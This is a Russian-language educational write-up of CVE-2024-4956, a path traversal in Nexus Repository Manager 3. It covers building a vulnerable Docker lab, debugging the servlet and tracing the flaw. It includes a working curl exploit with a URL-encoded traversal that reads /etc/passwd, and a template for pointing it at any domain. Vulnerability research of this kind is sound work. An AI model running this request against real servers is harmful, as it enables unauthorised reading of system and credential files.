CVE-2024-4956
@ZenmovieДисклеймер
Данный пост был написан только для образовательных целей.
CVE-2024-4956 - Unauthenticated Path Traversal in Nexus Repository Manager 3
Path traversal был обнаружен в Nexus Repository Manager 3 в версиях до 3.68.1. Эта уязвимость позволяет злоумышленнику создать URL-адрес для загрузки системных файлов за пределами приложения Nexus Repository без какой-либо аутентификации.
Эксплуатация достаточна проста:
curl http(s)://domain/{URL-encode всех символов}
Сначала предлагаю развернуть тестовый уязвимый стенд
Для этого скачиваем docker-образ
docker pull sonatype/nexus3:3.68.0-java8
Поднимаем docker и пробрасываем порт
docker run -p 8081:8081 --name Zenmovie sonatype/nexus3:3.68.0-java8


Здесь находится оригинальный более или менее ресерч этой уязвимости
Разбор уязвимости
Поднимаем тестовый стенд с отладкой
docker run -d -p 8081:8081 -p 5005:5005 --name lamerZen -e INSTALL4J_ADD_VM_PARAMS="-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005" sonatype/nexus3:3.68.0-java8

Создаем директорию, копируем в нее сурцы и в них ищем все .jar файлы, добавляем их в отдельную директорию.
mkdir /opt/lamerZen
cd /opt/lamerZen
docker cp {Имя_контейнера}:/opt/sonatype/nexus .
mkdir all-lib
find . -name "*.jar" -exec cp {} all-lib/ \;

После этого создаем в IntelliJ Idea Java-проект и в настройках структуры проекта добавляем в библиотеки найденные файлы

Настраиваем IntelliJ Idea для отладки

Находим nexus-base-3.68.0-04.jar в левой части панели и открываем org.sonatype.nexus.internal.webresources.WebResourceServiceImpl.class. Ставим точку отладки на 98 строке в методе getResource()
После этого выполняем команду в терминале
curl http://lamerZen:8081/%2F%2F%2F%2E%2E%2F%2F%2E%2F%2F%2E%2E%2F%2F%2F%2E%2E%2F%2F%2E%2E%2F%2E%2F%65%74%63%2F%70%61%73%73%77%64

Спустя несколько шагов (нажатие клавиши F8) видно, что функция doGet() WebResource вызывает метод getResource() в WebResourceServiceImpl

Уязвимый участок кода
// org/sonatype/nexus/internal/webresources/WebResourceServlet.class
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
// path = ///..//.//..///..//.././etc/passwd
WebResource resource = this.webResources.getResource(path);
// resource.url = "file:/opt/sonatype/nexus/public////..//.//..///..//.././etc/passwd"
if (resource == null) {
if (this.webResources.getResource(path + "/index.html") != null) {
String location = String.format("%s%s/", BaseUrlHolder.getRelativePath(), path);
log.debug("Redirecting: {} -> {}", path, location);
response.sendRedirect(location);
} else {
response.sendError(404);
}
} else { // Resource is served
this.serveResource(resource, request, response);
}
}
Путь здесь не должен заканчиваться на /, чтобы избежать добавления index.html. Из-за того что ресурс не является нулевым, будет выполнятся условие else. Попадая в else значение ресурса будет file:/opt/sonatype/nexus/public////..//.//..///..//.././etc/passwd
Или же file:///etc/passwd
Материал написан для: https://t.me/LamerZen